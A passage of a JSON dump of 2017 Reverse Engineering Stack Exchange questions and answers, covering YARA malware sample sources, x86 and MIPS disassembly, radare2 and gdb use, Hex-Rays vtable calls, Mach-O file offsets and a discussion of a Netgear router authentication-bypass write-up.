    \n" }, { "Id": "15146", "CreationDate": "2017-04-12T06:09:21.430", "Body": "

    I want to know, Is there any websites which has malware files (Windows OS) that are detected by YARA rules?

    \n\n

    Note: I know some websites to get android malware samples using YARA.\nBut, I need Windows OS based malware.

    \n", "Title": "Is there any websites to get malware files using YARA rules?", "Tags": "|windows|malware|yara|", "Answer": "

    An additional source of such samples, which I don't know why nobody listed, is virustotal.com. It lets you execute what they call \"ruleset\" and \"retrohunt\" searches which are basically running yara rules on every sample processed through virustotal and every sample from the last 3 months. This is a paid service but it's definitely worth it.

    \n\n

    Here's an image that shows the retro-hunt and yara search web UI:

    \n\n

    \"yara

    \n" }, { "Id": "15159", "CreationDate": "2017-04-13T17:33:55.247", "Body": "

    I downloaded \u30c7\u30b8\u30bf\u30eb\u5927\u8f9e\u6cc9 trial from Microsoft Store to try it out. The interface was not very good in my opinion, so I thought that maybe it is possible to extract the dictionary and convert it to another dictionary format.

    \n\n

    I opened Assets\\db\\resource_A with SQLite Browser, and found some text matching the user interface, but there was a problem:

    \n\n

    \"daijisen\"

    \n\n

    Only the Latin alphabet are the same between these two. Here's some raw data I collected:

    \n\n
    db,real\nIT\u3620\u6579\u5d8b,IT\u30fb\u6570\u5b66\n\u51a0\u5d8b,\u533a\u5b66\n\u51f9\u5d8b,\u5730\u5b66\n\u7144\u74b2,\u751f\u7269\n\u74b2\u704f\u3620\u518d\u5d8b,\u7269\u7406\u30fb\u5316\u5b66\n\u7144\u6960,\u751f\u6d3b\n\u7160\u5606,\u753b\u50cf\n\u6379\u8b06\u8fd0\u52bb\u8a8c,\u65b0\u898f\u8ffd\u52a0\u8a9e\n\u5677\u8c8c,\u54c1\u8a5e\n\u3425\u343a\u3206\u340d,\u3053\u3068\u308f\u3056\n\u56e4\u5d85\u7304\u8a8c,\u56db\u5b57\u719f\u8a9e\n\u3222\u3200\u3222\u362e\u8a8c,\u30ab\u30bf\u30ab\u30ca\u8a9e\nABC\u7553\u5781,ABC\u7565\u53f7\n\u5da3\u8a8c,\u5b63\u8a9e\n\u96e3\u8a92\u8a8c,\u96e3\u8aad\u8a9e\n\u717a\u6e55\u3620\u48e6\u6393,\u7528\u6cd5\u30fb\u4e0b\u63a5\n\u6347\u5d8b,\u6587\u5b66\n\u6753\u61da\u57a9,\u65e5\u672c\u53f2\n\u48cd\u755e\u57a9,\u4e16\u754c\u53f2\n
    \n\n

    I can see that for example \u5b66 corresponds to \u5d8b in the database, but when I checked if there was a set code point shift or something, the output was pretty messy. Here's some data on that (db, correct, db hex, correct hex, db-correct):

    \n\n
    I   T   \u3620   \u6579   \u5d8b\nI   T   \u30fb   \u6570   \u5b66\n0x49    0x54    0x3620  0x6579  0x5d8b\n0x49    0x54    0x30fb  0x6570  0x5b66\n0x0 0x0 0x525   0x9 0x225\n\n\u51a0   \u5d8b\n\u533a   \u5b66\n0x51a0  0x5d8b\n0x533a  0x5b66\n-0x19a  0x225\n\n\u51f9   \u5d8b\n\u5730   \u5b66\n0x51f9  0x5d8b\n0x5730  0x5b66\n-0x537  0x225\n\n\u7144   \u74b2\n\u751f   \u7269\n0x7144  0x74b2\n0x751f  0x7269\n-0x3db  0x249\n\n\u74b2   \u704f   \u3620   \u518d   \u5d8b\n\u7269   \u7406   \u30fb   \u5316   \u5b66\n0x74b2  0x704f  0x3620  0x518d  0x5d8b\n0x7269  0x7406  0x30fb  0x5316  0x5b66\n0x249   -0x3b7  0x525   -0x189  0x225\n\n\u7144   \u6960\n\u751f   \u6d3b\n0x7144  0x6960\n0x751f  0x6d3b\n-0x3db  -0x3db\n\n\u7160   \u5606\n\u753b   \u50cf\n0x7160  0x5606\n0x753b  0x50cf\n-0x3db  0x537\n\n\u6379   \u8b06   \u8fd0   \u52bb   \u8a8c\n\u65b0   \u898f   \u8ffd   \u52a0   \u8a9e\n0x6379  0x8b06  0x8fd0  0x52bb  0x8a8c\n0x65b0  0x898f  0x8ffd  0x52a0  0x8a9e\n-0x237  0x177   -0x2d   0x1b    -0x12\n\n\u5677   \u8c8c\n\u54c1   \u8a5e\n0x5677  0x8c8c\n0x54c1  0x8a5e\n0x1b6   0x22e\n\n\u3425   \u343a   \u3206   \u340d\n\u3053   \u3068   \u308f   \u3056\n0x3425  0x343a  0x3206  0x340d\n0x3053  0x3068  0x308f  0x3056\n0x3d2   0x3d2   0x177   0x3b7\n\n\u56e4   \u5d85   \u7304   \u8a8c\n\u56db   \u5b57   \u719f   \u8a9e\n0x56e4  0x5d85  0x7304  0x8a8c\n0x56db  0x5b57  0x719f  0x8a9e\n0x9 0x22e   0x165   -0x12\n\n\u3222   \u3200   \u3222   \u362e   \u8a8c\n\u30ab   \u30bf   \u30ab   \u30ca   \u8a9e\n0x3222  0x3200  0x3222  0x362e  0x8a8c\n0x30ab  0x30bf  0x30ab  0x30ca  0x8a9e\n0x177   0x141   0x177   0x564   -0x12\n\nA   B   C   \u7553   \u5781\nA   B   C   \u7565   \u53f7\n0x41    0x42    0x43    0x7553  0x5781\n0x41    0x42    0x43    0x7565  0x53f7\n0x0 0x0 0x0 -0x12   0x38a\n\n\u5da3   \u8a8c\n\u5b63   \u8a9e\n0x5da3  0x8a8c\n0x5b63  0x8a9e\n0x240   -0x12\n\n\u96e3   \u8a92   \u8a8c\n\u96e3   \u8aad   \u8a9e\n0x96e3  0x8a92  0x8a8c\n0x96e3  0x8aad  0x8a9e\n0x0 -0x1b   -0x12\n\n\u717a   \u6e55   \u3620   \u48e6   \u6393\n\u7528   \u6cd5   \u30fb   \u4e0b   \u63a5\n0x717a  0x6e55  0x3620  0x48e6  0x6393\n0x7528  0x6cd5  0x30fb  0x4e0b  0x63a5\n-0x3ae  0x180   0x525   -0x525  -0x12\n\n\u6347   \u5d8b\n\u6587   \u5b66\n0x6347  0x5d8b\n0x6587  0x5b66\n-0x240  0x225\n\n\u6753   \u61da   \u57a9\n\u65e5   \u672c   \u53f2\n0x6753  0x61da  0x57a9\n0x65e5  0x672c  0x53f2\n0x16e   -0x552  0x3b7\n\n\u48cd   \u755e   \u57a9\n\u4e16   \u754c   \u53f2\n0x48cd  0x755e  0x57a9\n0x4e16  0x754c  0x53f2\n-0x549  0x12    0x3b7\n
    \n\n

    If you want to see a pattern, there are some characters that are from the same distance of their corresponding character in the database (okay maybe it's just the birthday problem though):

    \n\n

    -0x12

    \n\n\n\n

    -0x3db

    \n\n\n\n

    Also the distance between the real character and the database character isn't very large, none of them are in the 0x1000's.

    \n\n

    Here's some patent about character set based obfuscation. Not sure if it's in any way related to this one.

    \n\n

    Is this some common character encoding or am I looking at an obfuscated database?

    \n", "Title": "Recognizing a possibly obfuscated character encoding used in a database", "Tags": "|encodings|", "Answer": "

    Since it's a Store app, most likely it's a .net executable so it shouldn't be too difficult to decompile it and see what it does with the data from the database. I expect they do apply some encryption or obfuscation on the data but it does not seem to be something obvious from your samples.

    \n" }, { "Id": "15173", "CreationDate": "2017-04-17T00:06:24.470", "Body": "

    I wrote a small C program below:

    \n\n
    #include <stdlib.h>\nint sub(int x, int y){\n  return 2*x+y;\n}\n\nint main(int argc, char ** argv){\n  int a;\n  a = atoi(argv[1]);\n  return sub(argc,a);\n}\n
    \n\n

    Compiled with gcc 5.4.0 and target 32 bit x86. I got the following in disassembly:

    \n\n
    0804841b <main>:\n 804841b: 8d 4c 24 04           lea    0x4(%esp),%ecx\n 804841f: 83 e4 f0              and    $0xfffffff0,%esp\n 8048422: ff 71 fc              pushl  -0x4(%ecx)\n 8048425: 55                    push   %ebp\n 8048426: 89 e5                 mov    %esp,%ebp\n 8048428: 53                    push   %ebx\n 8048429: 51                    push   %ecx\n 804842a: 83 ec 10              sub    $0x10,%esp\n 804842d: 89 cb                 mov    %ecx,%ebx\n....\n
    \n\n

    What are the first three instructions before push %ebp doing? I haven't seen those in older gcc compiled binaries.

    \n", "Title": "What is the purpose of these instructions before the main preamble?", "Tags": "|disassembly|x86|gcc|", "Answer": "

    What does this do?

    \n\n

    These three statements serve to move the stackframe of main, beginning with its return address, to the next 16-byte-aligned address.

    \n\n
    lea    0x4(%esp),%ecx    # save address of arguments\nand    $0xfffffff0,%esp  # align stack\npushl  -0x4(%ecx)        # move return address\n...                      # continue normal preamble\n
    \n\n

    At the same time, the arguments to main (argc and argv) are not moved, so a pointer to them is saved in %ecx.

    \n\n

    Recall the layout of the stack upon entering main:

    \n\n
    %esp+8:  argv (a pointer to an array of pointers)\n%esp+4:  argc (a 32-bit integer)\n%esp+0:  return address (from call)\n
    \n\n

    The arguments sit right above the return address, so %esp+4 is saved to %ecx before the stack pointer is adjusted.\nNext, %ecx also serves as our pointer to locate the original return address, -4(%ecx), which we push to our new stack frame.

    \n\n

    After the rest of the preamble, the stack will look like this:

    \n\n
    %ecx+4:  argv pointer\n%ecx+0:  argc\n%ecx-4:  original return address\n         ...\n%esp+4:  copy of return address\n%esp+0:  saved base pointer\n
    \n\n

    In your code, you can also see that %ecx is pushed onto the stack (i.e. saved as a local variable) after the preamble; it will be restored from there at the end of the function which will look like this:

    \n\n
    ...\nmov    -0x8(%ebp),%ecx   # load pointer to argc\nleave                    # unwind stack frame, pop %ebp\nlea    -0x4(%ecx),%esp   # restore original stack pointer\nret                      # jump out, using the original return address!\n
    \n\n

    Why is all this done at all?

    \n\n

    Modern processors like data aligned to 16-byte boundaries for various reasons; some operations may take significant performance hits otherwise, others might not work at all.

    \n\n

    Adjusting the main stack frame once allows the rest of the code to run without further adjustment as long as care is taken to always allocate stack in multiples of 16 bytes before a call. That is why you will often see something like this:

    \n\n
    sub    $0xc,%esp    # pad stack by 12 bytes\npush   %eax         # push 4-byte argument\ncall   puts\n
    \n\n

    NB: The x86-64 ABI makes the 16-byte stack alignment mandatory. Incidentally this means that you will not find a frame adjustment on main in 64-bit code - the stack is already aligned.

    \n" }, { "Id": "15181", "CreationDate": "2017-04-18T16:29:32.927", "Body": "

    I am struggling with a stripped binary, and I would like to visualize the main() function with the VVV command (ascii-art CFG representation).

    \n\n

    Usually, the steps are the following:

    \n\n
      \n
    1. #> r2 ./crackme (run radare2 on the crackme).
      2. \n
    2. [0x00005430]> aaa (start the analysis of the binary).
      3. \n
    3. s main (seek to the address of main).
      4. \n
    4. VVV (switch to the CFG view of the binary).
      5. \n
    \n\n

    \"enter

    \n\n

    Unfortunately, my crackme is stripped (including the main() function). I can see the address of the main() function thanks to the first argument of the __libc_start_main() function. But, I always end-up with the following error message:

    \n\n
          Not in a function. Type 'df' to define it here\n\n--press any key--\n
    \n\n

    How can I work around this problem. For example, I first tried to add my own symbols on the binary to mark the start of the main() function, but I miserably failed... Any idea ?

    \n\n

    EDIT

    \n\n

    Here is my attempt to add a flag to the binary:

    \n\n
    #> r2 ./ch23.bin \n[0x000083b8]> aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[ ] \n[aav: using from to 0x8000 0x8e64\nUsing vmin 0x8000 and vmax 0x10880\naav: using from to 0x8000 0x8e64\nUsing vmin 0x8000 and vmax 0x10880\n[x] Analyze len bytes of instructions for references (aar)\n[x] Analyze function calls (aac)\n[ ] [*] Use -AA or aaaa to perform additional experimental analysis.\n[x] Constructing a function name for fcn.* and sym.func.* functions (aan))\n[0x000083b8]> pdf\n            ;-- section_end..plt:\n            ;-- section..text:\n/ (fcn) entry0 44\n|   entry0 ();\n|           ; UNKNOWN XREF from 0x00008018 (unk)\n|           ; UNKNOWN XREF from 0x00008c18 (unk)\n|           0x000083b8      00b0a0e3       mov fp, 0                   ; [14] va=0x000083b8 pa=0x000003b8 sz=800 vsz=800 rwx=--r-x .text\n|           0x000083bc      00e0a0e3       mov lr, 0\n|           0x000083c0      04109de4       pop {r1}\n|           0x000083c4      0d20a0e1       mov r2, sp\n|           0x000083c8      04202de5       str r2, [sp, -4]!\n|           0x000083cc      04002de5       str r0, [sp, -4]!\n|           0x000083d0      10c09fe5       ldr ip, [0x000083e8]        ; [0x83e8:4]=0x8664\n|           0x000083d4      04c02de5       str ip, [sp, -4]!\n|           0x000083d8      0c009fe5       ldr r0, [0x000083ec]        ; [0x83ec:4]=0x8470\n|           0x000083dc      0c309fe5       ldr r3, [0x000083f0]        ; [0x83f0:4]=0x8668\n\\           0x000083e0      e5ffffeb       bl sym.imp.__libc_start_main; int __libc_start_main(func main, int argc, char **ubp_av, func init, func fini, func rtld_fini, void *stack_end);\n[0x000083b8]> f main @ 0x8470\n[0x000083b8]> s main\n[0x00008470]> VVV\n... miserable fail ...\n
    \n", "Title": "How to add a function symbol to a stripped executable with radare2?", "Tags": "|disassembly|radare2|", "Answer": "

    I finally got the answer to my old question !

    \n

    So, basically Ian Kerr answer got most of it right, it was just missing a few bits of information. I will try to gather everything in this answer.

    \n

    Let say that we are going through a stripped binary, no symbol in sight and radare2 with us:

    \n
    #> r2 ./crackme\n[0x0804876c]> pd\n    ;-- entry0:\n       ;-- section..text:\n       ;-- eip:\n       0x08048680      31ed           xor ebp, ebp\n       0x08048682      5e             pop esi\n       0x08048683      89e1           mov ecx, esp\n       0x08048685      83e4f0         and esp, 0xfffffff0\n       0x08048689      54             push esp\n       0x0804868b      6830880408     push 0x8048830\n       0x08048690      6840880408     push 0x8048840\n       0x08048695      51             push ecx\n       0x08048696      56             push esi\n       0x08048697      686c870408     push main          ; 0x804876c\n       0x0804869c      e87fffffff     call sym.imp.__libc_start_main\n       0x080486a1      f4             hlt\n       ...\n[0x08048680]> f sym.main @ 0x804876c\n[0x08048680]> aaa\n[x] Analyze all flags starting with sym. and entry0 (aa)\n[x] Analyze function calls (aac)\n...\n[x] Propagate noreturn information\n[x] Use -AA or aaaa to perform additional experimental analysis.\n[0x08048680]> s sym.main\n[0x0804876c]> pdf\n            ; DATA XREF from entry0 @ 0x8048697\n            ;-- sym.main:\n\u250c 96: int main (int argc, char **argv, char **envp);\n\u2502           ; var char *var_20h @ esp+0x4\n\u2502           ; var int32_t var_8h @ esp+0x1c\n\u2502           0x0804876c      55             push ebp\n...\n
    \n

    To sum-up, you need:

    \n
      \n

    1. To find the address of the function you want to add. Here, we found main() thanks to __libc_start_main() at 0x804876c.

      \n
      2. \n

    2. To set a symbol tagged with sym. in order to be recognized by radare2 as a symbol:

      \n

      f sym.main @ 0x804876c

      \n
      3. \n

    3. To perform an analysis of the new symbol with aaa.

      \n
      4. \n

    4. Then, to switch the focus to this symbol: s sym.main

      \n
      5. \n

    5. Finally, you can run pdf or VV as usual.

      \n
      6. \n
    \n

    Enjoy!

    \n" }, { "Id": "15184", "CreationDate": "2017-04-18T21:12:07.343", "Body": "

    I'm having trouble understanding the TEST instruction and its use. I'm looking at the following code at the end of a loop

    \n\n
    0040A3D1   A9 00010181           TEST EAX,81010100\n0040A3D6   74 E8                 JE SHORT JinKu_ke.0040A3C0\n
    \n\n

    I understand how it works TEST AL,AL or TEXT EAX,EAX,but I do not know how it works with numbers Because the JE instruction does not jump when I use 0x810100FE and also even when we use 0x81010102, but when I use 0x60E0FEFC and below JE instruction jump.

    \n", "Title": "What does the `TEST` instruction do", "Tags": "|assembly|x86|", "Answer": "

    1. TEST

    \n\n

    According to the x86 Instruction Set Reference entry for TEST found at http://x86.renejeschke.de/,

    \n\n

    \"TEST\"

    \n\n
    \n

    [TEST] computes the bit-wise logical AND of first operand (source 1 operand) and the second operand (source 2 operand) and sets the SF, ZF, and PF status flags according to the result. The result is then discarded.

    \n
    \n\n

    More succinctly:

    \n\n
    \n

    AND imm32 with EAX; set SF, ZF, PF according to result.

    \n
    \n\n

    Even more succinctly:

    \n\n
    \n

    the AND instruction without storing the result

    \n
    \n\n

    So for

    \n\n
    \n

    0040A3D1 A9 00010181 TEST EAX,81010100

    \n
    \n\n

    the value in EAX and 81010100 are ANDed together.

    \n\n

    If the value in EAX is 0x810100FE, the operation looks like this:

    \n\n
    EAX:                    10000001000000010000000011111110\n0x81010100:         AND 10000001000000010000000100000000\n                    ------------------------------------\n0x81010000:             10000001000000010000000000000000\n
    \n\n

    The result, 81010000, is not 0, so the zero flag is not set.

    \n\n

    If the value in EAX is 0x60E0FEFC the operation looks like this:

    \n\n
    EAX:                    01100000111000001111111011111100\n0x81010100:         AND 10000001000000010000000100000000\n                    ------------------------------------\n                        00000000000000000000000000000000\n
    \n\n

    Here the result is 0, so the zero flag (ZF) is set to 1.

    \n\n

    2. JE

    \n\n

    According to the x86 Instruction Set Reference entry for JE found at http://x86.renejeschke.de/,

    \n\n

    \"JE\"

    \n\n
    \n

    [JCC] checks the state of one or more of the status flags in the EFLAGS register (CF, OF, PF, SF, and ZF) and, if the flags are in the specified state (condition), performs a jump to the target instruction specified by the destination operand. A condition code (cc) is associated with each instruction to indicate the condition being tested for. If the condition is not satisfied, the jump is not performed and execution continues with the instruction following the Jcc instruction.

    \n
    \n\n

    In the case of 'JE' specifically,

    \n\n
    \n

    Jump short if equal (ZF=1).

    \n
    \n\n

    For the operation

    \n\n
    \n

    0040A3D1 A9 00010181 TEST EAX,81010100

    \n
    \n\n\n\n

    Summary

    \n\n\n" }, { "Id": "15190", "CreationDate": "2017-04-20T14:06:56.590", "Body": "

    So im wondering how i can retrieve the adress of the definition instead of the adress of the declaration via dereferencing the startaddress of a c++ function.

    \n\n

    To be more concrete:

    \n\n

    My function to retrieve the address of the function:

    \n\n

    \"enter

    \n\n

    I have this function i want to hook:

    \n\n

    \"enter

    \n\n

    So to retrieve the address of whereHookGoes i did :\n\"enter

    \n\n

    which returns:

    \n\n

    \"enter

    \n\n

    Which is the declaration of whereHookGoes .\n\"enter

    \n\n

    But i want the address of the definition so i can hook a call instruction within the function.

    \n\n

    Is there anyway how i can retrieve the address of the definition from here?

    \n\n

    If you need any more information please tell me and i will provide.

    \n", "Title": "How to get the address of a function definition?", "Tags": "|disassembly|c++|function-hooking|", "Answer": "

    The address you get is the function definition from the compiler's point of view. It seems you're dealing with an executable compiled with incremental linking enabled (default in Debug builds). When incremental linking is on, the linker generates jump stubs for all functions and refers to them instead of \"real\" function bodies; this allows it to replace just the jump to point to the new/updated function body on next link and to not have to update all other references to the function (since they all go to the jump) which speeds up linking, especially with big projects.

    \n\n

    So, you have the following options:

    \n\n
      \n
    1. Compile the target with incremental linking disabled.
      2. \n
    2. Detect this situation (e.g. check if first byte is E9) and follow the jump to the actual function body.
      3. \n
    3. Patch the jump to point to your hook, then jump back to the final target.
      4. \n
    \n" }, { "Id": "15204", "CreationDate": "2017-04-22T21:32:11.623", "Body": "

    Here is the program which gdb is attached to:

    \n

    prog.c

    \n
    #include <stdio.h>\n\nvoid dummy(char* s)\n{\n\n}\n\nint main()\n{\n    char buf[512];\n    scanf("%s", buf);\n    printf("%s\\n", buf);\n    dummy(buf);\n    return 0;\n}\n
    \n

    It is compiled with:

    \n
    gcc prog.c o prog\n
    \n

    This is the script which drives the program:

    \n
    from pwn import *\n\np = process("./prog")\nraw_input('>>')\np.sendline('A')\n
    \n

    Here's the sequence of operation I perform:

    \n
      \n
    1. Run the script in one bash tab. It launches prog
      2. \n
    2. In another bash tab: sudo gdb -p `pgrep prog` . gdb attaches itself to the running process
      3. \n
    3. Set a breakpoint on dummy call in gdb: b dummy
      4. \n
    4. Press c in gdb to continue
      5. \n
    5. Hit Enter in the script to continue
      6. \n
    6. gdb gives up by saying: 0x000056446a5af764 <dummy+4>: Cannot access memory at address 0x56446a5af764
      7. \n
    \n

    \"enter

    \n

    If instead of feeding the input programmatically, I launch the program manually, attach gdb and feed the input myself, the breakpoint is correctly hit.

    \n

    \"enter

    \n

    What is the problem in the script?

    \n", "Title": "Why can't gdb read memory if pwntools is used to send input?", "Tags": "|gdb|", "Answer": "

    The process dies before/while gdb connects to it, as your python script finishes. Use the following line at the end of your script to keep it running.

    \n
    p.interactive()\n
    \n" }, { "Id": "15216", "CreationDate": "2017-04-25T18:09:40.483", "Body": "

    Sometimes i see such lines. What do they mean, such syntax?

    \n\n
    \n

    (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);

    \n
    \n\n
    int __fastcall sub_1(int a1, int a2)\n{\n  int v2; // r4@1\n  int v3; // r5@1\n  int v4; // r6@1\n  int v5; // r0@2\n  int v6; // r0@2\n  unsigned int v7; // r0@4\n  int v8; // r5@8\n\n  v2 = a2;\n  v3 = a1;\n  sub_2(a2);\n  v4 = *(_BYTE *)(sub_3(*(_DWORD *)(v3 + 1684)) + 13);\n  (*(void (__fastcall **)(int, int))(*(_DWORD *)v2 + 24))(v2, v4);\n  if ( v4 )\n  {\n    (*(void (__fastcall **)(int, _DWORD))(*(_DWORD *)v2 + 56))(v2, *(_DWORD *)(v3 + 1700));\n
    \n", "Title": "IDA hexrays decompiler", "Tags": "|ida|decompilation|", "Answer": "

    It's very likely what you're looking at is a virtual method call on a class.

    \n\n

    Virtual methods are usually implemented by the use of a pointer to a table of function pointers. The pointer is added at the beginning of the class data and is added transparently by the compiler if a class has a virtual method.

    \n\n

    First it casts v2 to a pointer to a DWORD, reads the DWORD (vtable pointer), adds 24 to the vtable base pointer, reads the pointer to the method at offset 24 in the vtable, casts that to a function pointer and calls it.

    \n\n

    Since v2 is both used to locate the vtable pointer and passed as the first argument it's likely the this pointer.

    \n" }, { "Id": "15221", "CreationDate": "2017-04-26T07:52:10.527", "Body": "

    Hello reverse engineers,

    \n\n

    I am reverse engineering a Mach-O executable for iOS.\nFile says: Mach-O universal binary with 2 architectures: [arm_v7: Mach-O arm_v7 executable] [64-bit architecture=12].\nI need to convert a virtual address to a file offset in a Mach-O file.\nIn IDA, I see some data in the data segment with the virtual address 0x0000000100366720, which I want to read with a C program.

    \n\n

    Using hexdump -C -v, I saw that the virtual address corresponds with the file offset 0xa9a720:

    \n\n
    00a9a720  89 00 00 00 00 00 00 00  50 b7 39 00 01 00 00 00  |........P.9.....|\n00a9a730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  |p\"......PS......|\n00a9a760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  |XS..............|\n00a9a770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7b0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  |.........W......|\n00a9a7c0  98 cf 32 00 01 00 00 00  94 cf 32 00 01 00 00 00  |..2.......2.....|\n00a9a7d0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7e0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a7f0  00 67 36 00 01 00 00 00  c0 cf 32 00 01 00 00 00  |.g6.......2.....|\n00a9a800  20 54 12 00 01 00 00 00  7c 57 12 00 01 00 00 00  | T......|W......|\n00a9a810  38 ce 32 00 01 00 00 00  10 ce 32 00 01 00 00 00  |8.2.......2.....|\n00a9a820  34 ce 32 00 01 00 00 00  f0 53 12 00 01 00 00 00  |4.2......S......|\n00a9a830  51 00 00 00 e8 03 00 00  2c 00 00 00 25 00 00 00  |Q.......,...%...|\n00a9a840  46 00 00 00 ff 29 11 17  00 00 00 00 4b 17 00 00  |F....)......K...|\n00a9a850  80 00 00 00 08 00 00 00  08 00 00 00 0a 00 00 00  |................|\n00a9a860  00 00 00 00 0f 00 00 00  28 1b 00 00 d0 03 00 00  |........(.......|\n00a9a870  c8 02 00 00 a0 01 00 00  00 00 00 00 58 02 00 00  |............X...|\n00a9a880  a8 02 00 00 d8 01 00 00  00 00 00 00 50 01 00 00  |............P...|\n00a9a890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |H...............|\n00a9a8a0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8b0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8c0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  |................|\n00a9a8d0  00 00 00 00 29 da f5 21  a1 b5 7a bf e9 7a d7 5b  |....)..!..z..z.[|\n00a9a8e0  3a 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  |:.Ir.... g6.....|\n00a9a8f0  f0 e2 32 00 01 00 00 00  20 e3 32 00 01 00 00 00  |..2..... .2.....|\n
    \n\n

    Using IDA:

    \n\n
    0000000100366720  89 00 00 00 00 00 00 00  50 B7 39 00 01 00 00 00  ........P.9.....\n0000000100366730  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366740  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366750  70 22 12 00 01 00 00 00  50 53 12 00 01 00 00 00  p\"......PS......\n0000000100366760  58 53 12 00 01 00 00 00  00 00 00 00 00 00 00 00  XS..............\n0000000100366770  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366780  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n0000000100366790  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667B0  00 00 00 00 00 00 00 00  80 57 12 00 01 00 00 00  .........W......\n00000001003667C0  98 CF 32 00 01 00 00 00  94 CF 32 00 01 00 00 00  ..2.......2.....\n00000001003667D0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667E0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003667F0  00 67 36 00 01 00 00 00  C0 CF 32 00 01 00 00 00  .g6.......2.....\n0000000100366800  20 54 12 00 01 00 00 00  7C 57 12 00 01 00 00 00   T......|W......\n0000000100366810  38 CE 32 00 01 00 00 00  10 CE 32 00 01 00 00 00  8.2.......2.....\n0000000100366820  34 CE 32 00 01 00 00 00  F0 53 12 00 01 00 00 00  4.2......S......\n0000000100366830  51 00 00 00 E8 03 00 00  2C 00 00 00 25 00 00 00  Q.......,...%...\n0000000100366840  46 00 00 00 FF 29 11 17  00 00 00 00 4B 17 00 00  F....)......K...\n0000000100366850  80 00 00 00 08 00 00 00  08 00 00 00 0A 00 00 00  ................\n0000000100366860  00 00 00 00 0F 00 00 00  28 1B 00 00 D0 03 00 00  ........(.......\n0000000100366870  C8 02 00 00 A0 01 00 00  00 00 00 00 58 02 00 00  ............X...\n0000000100366880  A8 02 00 00 D8 01 00 00  00 00 00 00 50 01 00 00  ............P...\n0000000100366890  48 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  H...............\n00000001003668A0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668B0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668C0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................\n00000001003668D0  00 00 00 00 29 DA F5 21  A1 B5 7A BF E9 7A D7 5B  ....)..!..z..z.[\n00000001003668E0  3A 97 49 72 00 00 00 00  20 67 36 00 01 00 00 00  :.Ir.... g6.....\n00000001003668F0  F0 E2 32 00 01 00 00 00  20 E3 32 00 01 00 00 00  ..2..... .2.....\n
    \n\n

    In the post Convert Mach-O VM Address To File Offset this formula is mentioned:

    \n\n
    \n

    you need to find the segment (LC_SEGMENT) load command which covers\n the address, then do something like this:

    \n \n

    fle_off = (address-seg.address)+ seg.offset

    \n
    \n\n

    I have this load command in my Mach-O header:

    \n\n
    HEADER:0000000100000380 ; LC_SEGMENT_64 - 64-bit segment of this file to be mapped\nHEADER:0000000100000380                 segment_command_64 <0x19, 0x5E8, \"__DATA\", 0x100360000, 0x50000, \\\nHEADER:0000000100000380                                     0x360000, 0xC000, 3, 3, 0x12, 0>\n
    \n\n

    If I fill in the formula:\nfle_off = (0x0000000100366720 - 0x100360000) + 0x360000 = 0x366720

    \n\n

    The result is not the same file offset as 0xa9a720, which I found out using hexdump.\nIt seems like I just calculated the offset from the base address.\nWhat am I doing wrong?

    \n", "Title": "Mach-O : Convert virtual address to file offset on disk", "Tags": "|ida|c|ios|mach-o|", "Answer": "

    The offsets in the LC_SEGMENT command are counted from the beginning of the Mach-O header in the file. Normally the Mach-O header is at file offset 0, however OS X and iOS support so-called \"fat\" files which can contain several Mach-O files (usually for different architectures). You need to account for that and add a corresponding delta to the file offset, or, alternatively, extract the subfile you're interested in (e.g. using lipo) and work on a single file directly.

    \n" }, { "Id": "15235", "CreationDate": "2017-04-27T09:52:47.500", "Body": "

    I was looking at writeup on Netgear N300 authentication bypass vulnerability and I have found some inconsistencies in the article with my understanding of it. I want a second opinion on this because I'm not very good at reading MIPS disassembly.

    \n\n

    I have problem with two statements from article

    \n\n
    \n

    As you can see in the following image if the url contains the string ( BRS_netgear_success.html ) it moves to an interesting piece of code which sets two variables in the nvram to 0 (need_not_login and start_in_blankstate)

    \n
    \n\n

    As far as I can tell the nvram_set function sets the first variable \"need_not_login\" to '0' (ascii) taken from asc_40B7A8, but I think the second one \"start_in_blankstate\" is set to '1'. Because the $a1 is set to value from aGate_interf+0x18. I think this is some sort of compiler optimization. aGate_interf starts at 0x40BCA8 when we add 0x18 we get 0x40BCC0 which points to char '1'. Here is the disassembly that shows this:

    \n\n

    \"nvram_set
    \nand aGate_interf+0x18:\n\"aGate_interf+0x18\"

    \n\n

    The second mistake is also related to this. The author claims that when value of 'start_in_blankstate' is different from '1' then login is bypassed.

    \n\n
    \n

    If yes, we find a reference to start_in_blankstate where it's compared to be different to 1 and if yes the login is bypassed:

    \n
    \n\n

